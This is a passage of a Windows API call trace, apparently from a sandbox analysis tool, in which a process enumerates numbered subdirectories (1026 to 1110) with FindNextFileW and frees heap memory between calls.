	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0161.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0161.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0161.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0161.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0161.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.298] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.299] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.299] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.299] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.299] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.299] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0161.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0161.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0161.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0161.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0161.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0161.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.300] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0161.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0161.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.302] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0161.531] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.531] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0161.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.687] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0161.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.744] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0161.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.827] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0161.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0161.884] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0162.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.294] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0162.342] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.342] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0162.353] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.353] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0162.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.354] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0162.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.354] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0162.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.354] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0162.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.354] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0162.354] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.354] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0162.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.355] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0162.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.355] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0162.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
